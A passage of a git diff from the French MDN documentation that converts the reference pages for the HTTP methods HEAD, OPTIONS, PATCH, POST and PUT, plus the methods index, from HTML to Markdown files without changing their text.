SpécificationTitre
{{RFC("7231", "GET", "4.3.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/methods", "GET")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/methods/head/index.html b/files/fr/web/http/methods/head/index.html deleted file mode 100644 index 5791f0e384..0000000000 --- a/files/fr/web/http/methods/head/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: HEAD -slug: Web/HTTP/Methods/HEAD -tags: - - HTTP - - Reference - - Request method -translation_of: Web/HTTP/Methods/HEAD -original_slug: Web/HTTP/Méthode/HEAD ---- -
{{HTTPSidebar}}
- -

La méthode HTTP HEAD demande les en-têtes qui seraient retournés si la ressource spécifiée était demandée avec une méthode HTTP {{HTTPMethod("GET")}}. Une telle requête peut être envoyée avant de procéder au téléchargement d'une  ressource volumineuse, par exemple pour économiser de la bande passante.

- -

Une réponse issue d'une requête HEAD ne doit pas avoir de corps. Si tel est le cas, elle doit être ignorée. Toutefois, les {{glossary("En-têtes d'entité", "en-têtes d'entité")}} décrivant le contenu du corps, comme {{HTTPHeader("Content-Length")}}, peuvent être inclus dans la réponse. Ils ne sont pas liés au corps de la réponse HEAD , qui doit être vide, mais au corps d'une réponse issue d'une requête similaire utilisant la méthode {{HTTPMethod("GET")}}.

- -

Si le résultat d'une requête HEAD montre qu'une ressource mise en cache après une requête {{HTTPMethod("GET")}} est désormais dépassée, le cache est invalidé, même si aucune requête GET n'a été émise.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
La requête a un corpsNon
Une réponse de succès a un corpsNon
{{Glossary("Sûre")}}Oui
{{Glossary("Idempotente")}}Oui
{{Glossary("Peut être mise en cache")}}Oui
Autorisée dans les  formulaires HTMLNon
- -

Syntaxe

- -
HEAD /index.html
-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "HEAD", "4.3.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http/methods", "HEAD")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/methods/head/index.md b/files/fr/web/http/methods/head/index.md new file mode 100644 index 0000000000..5791f0e384 --- /dev/null +++ b/files/fr/web/http/methods/head/index.md @@ -0,0 +1,76 @@ +--- +title: HEAD +slug: Web/HTTP/Methods/HEAD +tags: + - HTTP + - Reference + - Request method +translation_of: Web/HTTP/Methods/HEAD +original_slug: Web/HTTP/Méthode/HEAD +--- +
{{HTTPSidebar}}
+ +

La méthode HTTP HEAD demande les en-têtes qui seraient retournés si la ressource spécifiée était demandée avec une méthode HTTP {{HTTPMethod("GET")}}. Une telle requête peut être envoyée avant de procéder au téléchargement d'une  ressource volumineuse, par exemple pour économiser de la bande passante.

+ +

Une réponse issue d'une requête HEAD ne doit pas avoir de corps. Si tel est le cas, elle doit être ignorée. Toutefois, les {{glossary("En-têtes d'entité", "en-têtes d'entité")}} décrivant le contenu du corps, comme {{HTTPHeader("Content-Length")}}, peuvent être inclus dans la réponse. Ils ne sont pas liés au corps de la réponse HEAD , qui doit être vide, mais au corps d'une réponse issue d'une requête similaire utilisant la méthode {{HTTPMethod("GET")}}.

+ +

Si le résultat d'une requête HEAD montre qu'une ressource mise en cache après une requête {{HTTPMethod("GET")}} est désormais dépassée, le cache est invalidé, même si aucune requête GET n'a été émise.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
La requête a un corpsNon
Une réponse de succès a un corpsNon
{{Glossary("Sûre")}}Oui
{{Glossary("Idempotente")}}Oui
{{Glossary("Peut être mise en cache")}}Oui
Autorisée dans les  formulaires HTMLNon
+ +

Syntaxe

+ +
HEAD /index.html
+
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "HEAD", "4.3.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/methods", "HEAD")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/methods/index.html b/files/fr/web/http/methods/index.html deleted file mode 100644 index 75106edae9..0000000000 --- a/files/fr/web/http/methods/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Méthodes de requête HTTP -slug: Web/HTTP/Methods -tags: - - HTTP - - Méthodes - - Reference -translation_of: Web/HTTP/Methods -original_slug: Web/HTTP/Méthode ---- -
{{HTTPSidebar}}
- -

HTTP définit un ensemble de méthodes de requête qui indiquent l'action que l'on souhaite réaliser sur la ressource indiquée. Bien qu'on rencontre également des noms (en anglais), ces méthodes sont souvent appelées verbes HTTP. Chacun d'eux implémente une sémantique différente mais certaines fonctionnalités courantes peuvent être partagées par différentes méthodes (e.g. une méthode de requête peut être sûre (safe), idempotente ou être mise en cache (cacheable)).

- -
-
GET
-
La méthode GET demande une représentation de la ressource spécifiée. Les requêtes GET doivent uniquement être utilisées afin de récupérer des données.
-
HEAD
-
La méthode HEAD demande une réponse identique à une requête GET pour laquelle on aura omis le corps de la réponse (on a uniquement l'en-tête).
-
POST
-
La méthode POST est utilisée pour envoyer une entité vers la ressource indiquée. Cela  entraîne généralement un changement d'état ou des effets de bord sur le serveur.
-
PUT
-
-

La méthode PUT remplace toutes les représentations actuelles de la ressource visée par le contenu de la requête.

-
-
DELETE
-
La méthode DELETE supprime la ressource indiquée.
-
CONNECT
-
-

La méthode CONNECT établit un tunnel vers le serveur identifié par la ressource cible.

-
-
OPTIONS
-
La méthode OPTIONS est utilisée pour décrire les options de communications avec la ressource visée.
-
TRACE
-
-

La méthode TRACE réalise un message de test aller/retour en suivant le chemin de la ressource visée.

-
-
PATCH
-
La méthode PATCH est utilisée pour appliquer des modifications partielles à une ressource.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationTitreCommentaires
{{RFC("7231", "Request methods", "4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and ContentDéfinition de GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS et TRACE.
{{RFC("5789", "Patch method", "2")}}PATCH Method for HTTPDéfinition de PATCH.
- -

Compatibilité des navigateurs

- -

{{Compat("http/methods")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/methods/index.md b/files/fr/web/http/methods/index.md new file mode 100644 index 0000000000..75106edae9 --- /dev/null +++ b/files/fr/web/http/methods/index.md @@ -0,0 +1,72 @@ +--- +title: Méthodes de requête HTTP +slug: Web/HTTP/Methods +tags: + - HTTP + - Méthodes + - Reference +translation_of: Web/HTTP/Methods +original_slug: Web/HTTP/Méthode +--- +
{{HTTPSidebar}}
+ +

HTTP définit un ensemble de méthodes de requête qui indiquent l'action que l'on souhaite réaliser sur la ressource indiquée. Bien qu'on rencontre également des noms (en anglais), ces méthodes sont souvent appelées verbes HTTP. Chacun d'eux implémente une sémantique différente mais certaines fonctionnalités courantes peuvent être partagées par différentes méthodes (e.g. une méthode de requête peut être sûre (safe), idempotente ou être mise en cache (cacheable)).

+ +
+
GET
+
La méthode GET demande une représentation de la ressource spécifiée. Les requêtes GET doivent uniquement être utilisées afin de récupérer des données.
+
HEAD
+
La méthode HEAD demande une réponse identique à une requête GET pour laquelle on aura omis le corps de la réponse (on a uniquement l'en-tête).
+
POST
+
La méthode POST est utilisée pour envoyer une entité vers la ressource indiquée. Cela  entraîne généralement un changement d'état ou des effets de bord sur le serveur.
+
PUT
+
+

La méthode PUT remplace toutes les représentations actuelles de la ressource visée par le contenu de la requête.

+
+
DELETE
+
La méthode DELETE supprime la ressource indiquée.
+
CONNECT
+
+

La méthode CONNECT établit un tunnel vers le serveur identifié par la ressource cible.

+
+
OPTIONS
+
La méthode OPTIONS est utilisée pour décrire les options de communications avec la ressource visée.
+
TRACE
+
+

La méthode TRACE réalise un message de test aller/retour en suivant le chemin de la ressource visée.

+
+
PATCH
+
La méthode PATCH est utilisée pour appliquer des modifications partielles à une ressource.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationTitreCommentaires
{{RFC("7231", "Request methods", "4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and ContentDéfinition de GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS et TRACE.
{{RFC("5789", "Patch method", "2")}}PATCH Method for HTTPDéfinition de PATCH.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/methods")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/methods/options/index.html b/files/fr/web/http/methods/options/index.html deleted file mode 100644 index e38353af22..0000000000 --- a/files/fr/web/http/methods/options/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: OPTIONS -slug: Web/HTTP/Methods/OPTIONS -translation_of: Web/HTTP/Methods/OPTIONS -original_slug: Web/HTTP/Méthode/OPTIONS ---- -
{{HTTPSidebar}}
- -

La méthode HTTP OPTIONS est utilisée pour décrire les options de communication pour la ressource ciblée. Le client peut renseigner une URL spécifique pour la méthode OPTIONS, ou une astérisque (*) pour interroger le serveur dans sa globalité.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
La requête a un corpsNon
Une réponse de succès a un corpsOui
{{Glossary("Sûre")}}Oui
{{Glossary("Idempotente")}}Oui
{{Glossary("Peut être mise en cache")}}Non
Autorisée dans les  formulaires HTMLNon
- -

 

- -

Syntaxe

- -
OPTIONS /index.html HTTP/1.1
-OPTIONS * HTTP/1.1
-
- -

Examples

- -

Identifier les méthodes HTTP autorisées

- -

Pour déterminer les méthodes HTTP supportées par le serveur, on peut utiliser curl et envoyer une requête OPTIONS :

- -
curl -X OPTIONS http://example.org -i
- -

La réponse contient un en-tête {{HTTPHeader("Allow")}} qui liste les méthodes autorisées :

- -
HTTP/1.1 200 OK
-Allow: OPTIONS, GET, HEAD, POST
-Cache-Control: max-age=604800
-Date: Thu, 13 Oct 2016 11:45:00 GMT
-Expires: Thu, 20 Oct 2016 11:45:00 GMT
-Server: EOS (lax004/2813)
-x-ec-custom-error: 1
-Content-Length: 0
-
- -

Requête de pré-vérification cross-origin CORS

- -

En CORS, une requête de pré-vérification est envoyée avec la méthode OPTIONS afin que le serveur indique si la requête est acceptable avec les paramètres spécifiés. En tant qu'élément de la requête de pré-vérification, le header {{HTTPHeader("Access-Control-Request-Method")}} notifie le serveur que lorsque la véritable requête sera envoyée, ce sera avec une méthode POST. Le header {{HTTPHeader("Access-Control-Request-Headers")}} indique au serveur que lorsque la vraie requête sera envoyée, elle aura les en-tête personnalisés X-PINGOTHER et Content-Type. Le serveur a maintenant la possibilité de déterminer s'il souhaite ou non accepter la requête dans les conditions énoncées par la requête de pré-vérification.

- -
OPTIONS /resources/post-here/ HTTP/1.1
-Host: bar.other
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Origin: http://foo.example
-Access-Control-Request-Method: POST
-Access-Control-Request-Headers: X-PINGOTHER, Content-Type
- -

Dans la réponse du serveur, l'en-tête {{HTTPHeader("Access-Control-Allow-Methods")}} indique que les méthodes POST, GET, and OPTIONS sont utilisables pour interroger la ressource.  Cet en-tête est similaire à {{HTTPHeader("Allow")}}, mais utilisé uniquement dans le contexte CORS.

- -
HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:15:39 GMT
-Server: Apache/2.0.61 (Unix)
-Access-Control-Allow-Origin: http://foo.example
-Access-Control-Allow-Methods: POST, GET, OPTIONS
-Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
-Access-Control-Max-Age: 86400
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 0
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Content-Type: text/plain
- -

Spécifications

- - - - - - - - - - - - -
SpecificationTitle
{{RFC("7231", "OPTIONS", "4.3.7")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http.methods.OPTIONS")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/methods/options/index.md b/files/fr/web/http/methods/options/index.md new file mode 100644 index 0000000000..e38353af22 --- /dev/null +++ b/files/fr/web/http/methods/options/index.md @@ -0,0 +1,123 @@ +--- +title: OPTIONS +slug: Web/HTTP/Methods/OPTIONS +translation_of: Web/HTTP/Methods/OPTIONS +original_slug: Web/HTTP/Méthode/OPTIONS +--- +
{{HTTPSidebar}}
+ +

La méthode HTTP OPTIONS est utilisée pour décrire les options de communication pour la ressource ciblée. Le client peut renseigner une URL spécifique pour la méthode OPTIONS, ou une astérisque (*) pour interroger le serveur dans sa globalité.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
La requête a un corpsNon
Une réponse de succès a un corpsOui
{{Glossary("Sûre")}}Oui
{{Glossary("Idempotente")}}Oui
{{Glossary("Peut être mise en cache")}}Non
Autorisée dans les  formulaires HTMLNon
+ +

 

+ +

Syntaxe

+ +
OPTIONS /index.html HTTP/1.1
+OPTIONS * HTTP/1.1
+
+ +

Examples

+ +

Identifier les méthodes HTTP autorisées

+ +

Pour déterminer les méthodes HTTP supportées par le serveur, on peut utiliser curl et envoyer une requête OPTIONS :

+ +
curl -X OPTIONS http://example.org -i
+ +

La réponse contient un en-tête {{HTTPHeader("Allow")}} qui liste les méthodes autorisées :

+ +
HTTP/1.1 200 OK
+Allow: OPTIONS, GET, HEAD, POST
+Cache-Control: max-age=604800
+Date: Thu, 13 Oct 2016 11:45:00 GMT
+Expires: Thu, 20 Oct 2016 11:45:00 GMT
+Server: EOS (lax004/2813)
+x-ec-custom-error: 1
+Content-Length: 0
+
+ +

Requête de pré-vérification cross-origin CORS

+ +

En CORS, une requête de pré-vérification est envoyée avec la méthode OPTIONS afin que le serveur indique si la requête est acceptable avec les paramètres spécifiés. En tant qu'élément de la requête de pré-vérification, le header {{HTTPHeader("Access-Control-Request-Method")}} notifie le serveur que lorsque la véritable requête sera envoyée, ce sera avec une méthode POST. Le header {{HTTPHeader("Access-Control-Request-Headers")}} indique au serveur que lorsque la vraie requête sera envoyée, elle aura les en-tête personnalisés X-PINGOTHER et Content-Type. Le serveur a maintenant la possibilité de déterminer s'il souhaite ou non accepter la requête dans les conditions énoncées par la requête de pré-vérification.

+ +
OPTIONS /resources/post-here/ HTTP/1.1
+Host: bar.other
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Origin: http://foo.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+ +

Dans la réponse du serveur, l'en-tête {{HTTPHeader("Access-Control-Allow-Methods")}} indique que les méthodes POST, GET, and OPTIONS sont utilisables pour interroger la ressource.  Cet en-tête est similaire à {{HTTPHeader("Allow")}}, mais utilisé uniquement dans le contexte CORS.

+ +
HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 0
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+ +

Spécifications

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "OPTIONS", "4.3.7")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.methods.OPTIONS")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/methods/patch/index.html b/files/fr/web/http/methods/patch/index.html deleted file mode 100644 index 79eb5d483d..0000000000 --- a/files/fr/web/http/methods/patch/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: PATCH -slug: Web/HTTP/Methods/PATCH -translation_of: Web/HTTP/Methods/PATCH -original_slug: Web/HTTP/Méthode/PATCH ---- -

La méthode PATCH d'une requête HTTP applique des modifications partielles à une ressource.

- -

La méthode HTTP {{HTTPMethod("PUT")}} est déjà définie pour écraser une ressource avec un nouveau corps complet de message, et pour la méthode HTTP {{HTTPMethod("POST")}}, il n'existe aucun moyen standard pour découvrir le support de format de patch. Tout comme POST, la méthode HTTP PATCH n'est pas listée comme étant idempotent, contrairement à PUT. Cela signifie que les requêtes patch identiques et successives auront des effets différents sur l'objet manipulé.

- -

Pour découvrir si un serveur supporte la méthode PATCH, un serveur peut annoncer son support en l'ajoutant à la liste des méthodes autorisées dans les headers de la réponse {{HTTPHeader ("Allow")}} ou encore {{HTTPHeader ("Access-Control-Allow-Methods")}} (pour CORS).

- -

Une autre indication (implicite) que la méthode PATCH est autorisée est la présence du header {{HTTPHeader("Accept-Patch")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
La requête possède un corps de message (body)Oui
Une requête traitée avec succès retourne une réponse avec un corps de message (body)Non
{{Glossary("Safe")}}Non
{{Glossary("Idempotent")}}Non
{{Glossary("Cacheable")}}Non
Utilisation au sein des formulaires HTMLNon
- -

Syntaxe

- -
PATCH /file.txt HTTP/1.1
-
- -

Exemple

- -

Requête

- -
PATCH /file.txt HTTP/1.1
-Host: www.example.com
-Content-Type: application/example
-If-Match: "e0023aa4e"
-Content-Length: 100
-
-[description des changements]
- -

Réponse

- -

Une requête traitée avec succès retourne une réponse accompagnée d'un code de réponse {{HTTPStatus("204")}}. Dans ce cas-ci, la réponse ne contient un corps de message.

- -
HTTP/1.1 204 No Content
-Content-Location: /file.txt
-ETag: "e0023aa4f"
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("5789", "PATCH")}}Méthode PATCH pour HTTP (PATCH Method for HTTP)
- -

Voir aussi

- - diff --git a/files/fr/web/http/methods/patch/index.md b/files/fr/web/http/methods/patch/index.md new file mode 100644 index 0000000000..79eb5d483d --- /dev/null +++ b/files/fr/web/http/methods/patch/index.md @@ -0,0 +1,90 @@ +--- +title: PATCH +slug: Web/HTTP/Methods/PATCH +translation_of: Web/HTTP/Methods/PATCH +original_slug: Web/HTTP/Méthode/PATCH +--- +

La méthode PATCH d'une requête HTTP applique des modifications partielles à une ressource.

+ +

La méthode HTTP {{HTTPMethod("PUT")}} est déjà définie pour écraser une ressource avec un nouveau corps complet de message, et pour la méthode HTTP {{HTTPMethod("POST")}}, il n'existe aucun moyen standard pour découvrir le support de format de patch. Tout comme POST, la méthode HTTP PATCH n'est pas listée comme étant idempotent, contrairement à PUT. Cela signifie que les requêtes patch identiques et successives auront des effets différents sur l'objet manipulé.

+ +

Pour découvrir si un serveur supporte la méthode PATCH, un serveur peut annoncer son support en l'ajoutant à la liste des méthodes autorisées dans les headers de la réponse {{HTTPHeader ("Allow")}} ou encore {{HTTPHeader ("Access-Control-Allow-Methods")}} (pour CORS).

+ +

Une autre indication (implicite) que la méthode PATCH est autorisée est la présence du header {{HTTPHeader("Accept-Patch")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
La requête possède un corps de message (body)Oui
Une requête traitée avec succès retourne une réponse avec un corps de message (body)Non
{{Glossary("Safe")}}Non
{{Glossary("Idempotent")}}Non
{{Glossary("Cacheable")}}Non
Utilisation au sein des formulaires HTMLNon
+ +

Syntaxe

+ +
PATCH /file.txt HTTP/1.1
+
+ +

Exemple

+ +

Requête

+ +
PATCH /file.txt HTTP/1.1
+Host: www.example.com
+Content-Type: application/example
+If-Match: "e0023aa4e"
+Content-Length: 100
+
+[description des changements]
+ +

Réponse

+ +

Une requête traitée avec succès retourne une réponse accompagnée d'un code de réponse {{HTTPStatus("204")}}. Dans ce cas-ci, la réponse ne contient un corps de message.

+ +
HTTP/1.1 204 No Content
+Content-Location: /file.txt
+ETag: "e0023aa4f"
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("5789", "PATCH")}}Méthode PATCH pour HTTP (PATCH Method for HTTP)
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/methods/post/index.html b/files/fr/web/http/methods/post/index.html deleted file mode 100644 index a40217492e..0000000000 --- a/files/fr/web/http/methods/post/index.html +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: POST -slug: Web/HTTP/Methods/POST -tags: - - HTTP - - Reference - - Request method -translation_of: Web/HTTP/Methods/POST -original_slug: Web/HTTP/Méthode/POST ---- -
{{HTTPSidebar}}
- -

La méthode HTTP POST envoie des données au serveur. Le type du corps de la requête est indiqué par l'en-tête {{HTTPHeader("Content-Type")}}.

- -

La différence entre PUT et {{HTTPMethod("POST")}} tient au fait que PUT est une méthode idempotente. Une requête PUT, envoyée une ou plusieurs fois avec succès, aura toujours le même effet (il n'y a pas d'effet de bord). À l'inverse, des requêtes POST successives et identiques peuvent avoir des effets additionnels, ce qui peut revenir par exemple à passer plusieurs fois une commande.

- -

Une requête POST est habituellement envoyée via un formulaire HTML et a pour résultat un changement sur le serveur. Dans ce cas, le type du contenu est sélectionné en mettant la chaîne de caractères adéquate dans l'attribut {{htmlattrxref("enctype", "form")}} de l'élément {{HTMLElement("form")}} ou dans l'attribut {{htmlattrxref("formenctype", "input")}} de l'élément {{HTMLElement("input") }}, voir celui des éléments {{HTMLElement("button")}} :

- - - -

Lorsque la requête POST est envoyée par un autre moyen qu'un formulaire HTML, par exemple via {{domxref("XMLHttpRequest")}}, le corps peut être de n'importe quel type. Comme décrit dans la spécification HTTP 1.1, la méthode POST est conçue pour permettre une méthode uniforme couvrant les fonctions suivantes :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
La requête a un corpsOui
Une réponse inclut un corpsOui
{{Glossary("Safe","Sûre")}}Non
{{Glossary("Idempotent","Idempotente")}}Non
{{Glossary("Cacheable","Peut être mise en cache")}}Seulement si une information de péremption est incluse
Autorisée dans les  formulaires HTMLOui
- -

Syntaxe

- -
POST /index.html
-
- -

Exemple

- -

Un formulaire simple utilisant le type de contenu par défaut application/x-www-form-urlencoded :

- -
POST / HTTP/1.1
-Host: foo.com
-Content-Type: application/x-www-form-urlencoded
-Content-Length: 13
-
-say=Hi&to=Mom
- -

Un formulaire utilisant le type de contenu multipart/form-data :

- -
POST /test.html HTTP/1.1
-Host: example.org
-Content-Type: multipart/form-data;boundary="boundary"
-
---boundary
-Content-Disposition: form-data; name="field1"
-
-value1
---boundary
-Content-Disposition: form-data; name="field2"; filename="example.txt"
-
-value2
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "POST", "4.3.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http.methods.POST")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/methods/post/index.md b/files/fr/web/http/methods/post/index.md new file mode 100644 index 0000000000..a40217492e --- /dev/null +++ b/files/fr/web/http/methods/post/index.md @@ -0,0 +1,118 @@ +--- +title: POST +slug: Web/HTTP/Methods/POST +tags: + - HTTP + - Reference + - Request method +translation_of: Web/HTTP/Methods/POST +original_slug: Web/HTTP/Méthode/POST +--- +
{{HTTPSidebar}}
+ +

La méthode HTTP POST envoie des données au serveur. Le type du corps de la requête est indiqué par l'en-tête {{HTTPHeader("Content-Type")}}.

+ +

La différence entre PUT et {{HTTPMethod("POST")}} tient au fait que PUT est une méthode idempotente. Une requête PUT, envoyée une ou plusieurs fois avec succès, aura toujours le même effet (il n'y a pas d'effet de bord). À l'inverse, des requêtes POST successives et identiques peuvent avoir des effets additionnels, ce qui peut revenir par exemple à passer plusieurs fois une commande.

+ +

Une requête POST est habituellement envoyée via un formulaire HTML et a pour résultat un changement sur le serveur. Dans ce cas, le type du contenu est sélectionné en mettant la chaîne de caractères adéquate dans l'attribut {{htmlattrxref("enctype", "form")}} de l'élément {{HTMLElement("form")}} ou dans l'attribut {{htmlattrxref("formenctype", "input")}} de l'élément {{HTMLElement("input") }}, voir celui des éléments {{HTMLElement("button")}} :

+ + + +

Lorsque la requête POST est envoyée par un autre moyen qu'un formulaire HTML, par exemple via {{domxref("XMLHttpRequest")}}, le corps peut être de n'importe quel type. Comme décrit dans la spécification HTTP 1.1, la méthode POST est conçue pour permettre une méthode uniforme couvrant les fonctions suivantes :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
La requête a un corpsOui
Une réponse inclut un corpsOui
{{Glossary("Safe","Sûre")}}Non
{{Glossary("Idempotent","Idempotente")}}Non
{{Glossary("Cacheable","Peut être mise en cache")}}Seulement si une information de péremption est incluse
Autorisée dans les  formulaires HTMLOui
+ +

Syntaxe

+ +
POST /index.html
+
+ +

Exemple

+ +

Un formulaire simple utilisant le type de contenu par défaut application/x-www-form-urlencoded :

+ +
POST / HTTP/1.1
+Host: foo.com
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 13
+
+say=Hi&to=Mom
+ +

Un formulaire utilisant le type de contenu multipart/form-data :

+ +
POST /test.html HTTP/1.1
+Host: example.org
+Content-Type: multipart/form-data;boundary="boundary"
+
+--boundary
+Content-Disposition: form-data; name="field1"
+
+value1
+--boundary
+Content-Disposition: form-data; name="field2"; filename="example.txt"
+
+value2
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "POST", "4.3.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.methods.POST")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/methods/put/index.html b/files/fr/web/http/methods/put/index.html deleted file mode 100644 index 086dfa9b8b..0000000000 --- a/files/fr/web/http/methods/put/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: PUT -slug: Web/HTTP/Methods/PUT -tags: - - HTTP - - Reference - - Request method -translation_of: Web/HTTP/Methods/PUT -original_slug: Web/HTTP/Méthode/PUT -browser-compat: http.methods.PUT ---- -
{{HTTPSidebar}}
- -

La méthode HTTP PUT crée une nouvelle ressource ou remplace une représentation de la ressource ciblée par le contenu de la requête.

- -

La différence entre PUT et POST tient au fait que PUT est une méthode idempotente. Une requête PUT, envoyée une ou plusieurs fois avec succès, aura toujours le même effet (il n'y a pas d'effet de bord). À l'inverse, des requêtes POST successives et identiques peuvent avoir des effets additionnels, ce qui peut revenir par exemple à passer plusieurs fois une commande.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
La requête a un corpsOui
Une réponse de succès a un corpsNon
SûreNon
IdempotenteOui
Peut être mise en cacheNon
Autorisée dans les formulaires HTMLNon
- -

Syntaxe

- -
PUT /new.html HTTP/1.1
- -

Exemple

- -

Requête

- -
PUT /new.html HTTP/1.1
-Host: example.com
-Content-type: text/html
-Content-length: 16
-
-<p>Nouveau fichier</p>
- -

Réponses

- -

Si la ressource ciblée ne possède pas de représentation courante et que la requête PUT en crée une avec succès, alors le serveur d'origine doit informer l'agent utilisateur en envoyant une réponse 201 (Created).

- -
HTTP/1.1 201 Created
-Content-Location: /new.html
- -

Si la ressource ciblée a déjà une représentation et que cette représentation est modifiée avec succès, conformément à l'état de la représentation jointe, alors le serveur d'origine doit envoyer une réponse, que ce soit 200 (OK) ou 204 (No Content), pour indiquer la réussite de la requête.

- -
HTTP/1.1 204 No Content
-Content-Location: /existing.html
- -

Spécifications

- -

{{Specifications}}

- -

Compatibilité des navigateurs

- -

{{Compat}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/methods/put/index.md b/files/fr/web/http/methods/put/index.md new file mode 100644 index 0000000000..086dfa9b8b --- /dev/null +++ b/files/fr/web/http/methods/put/index.md @@ -0,0 +1,87 @@ +--- +title: PUT +slug: Web/HTTP/Methods/PUT +tags: + - HTTP + - Reference + - Request method +translation_of: Web/HTTP/Methods/PUT +original_slug: Web/HTTP/Méthode/PUT +browser-compat: http.methods.PUT +--- +
{{HTTPSidebar}}
+ +

La méthode HTTP PUT crée une nouvelle ressource ou remplace une représentation de la ressource ciblée par le contenu de la requête.

+ +

La différence entre PUT et POST tient au fait que PUT est une méthode idempotente. Une requête PUT, envoyée une ou plusieurs fois avec succès, aura toujours le même effet (il n'y a pas d'effet de bord). À l'inverse, des requêtes POST successives et identiques peuvent avoir des effets additionnels, ce qui peut revenir par exemple à passer plusieurs fois une commande.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
La requête a un corpsOui
Une réponse de succès a un corpsNon
SûreNon
IdempotenteOui
Peut être mise en cacheNon
Autorisée dans les formulaires HTMLNon
+ +

Syntaxe

+ +
PUT /new.html HTTP/1.1
+ +

Exemple

+ +

Requête

+ +
PUT /new.html HTTP/1.1
+Host: example.com
+Content-type: text/html
+Content-length: 16
+
+<p>Nouveau fichier</p>
+ +

Réponses

+ +

Si la ressource ciblée ne possède pas de représentation courante et que la requête PUT en crée une avec succès, alors le serveur d'origine doit informer l'agent utilisateur en envoyant une réponse 201 (Created).

+ +
HTTP/1.1 201 Created
+Content-Location: /new.html
+ +

Si la ressource ciblée a déjà une représentation et que cette représentation est modifiée avec succès, conformément à l'état de la représentation jointe, alors le serveur d'origine doit envoyer une réponse, que ce soit 200 (OK) ou 204 (No Content), pour indiquer la réussite de la requête.

+ +
HTTP/1.1 204 No Content
+Content-Location: /existing.html
+ +

Spécifications

+ +

{{Specifications}}

+ +

Compatibilité des navigateurs

+ +

{{Compat}}

+ +

Voir aussi

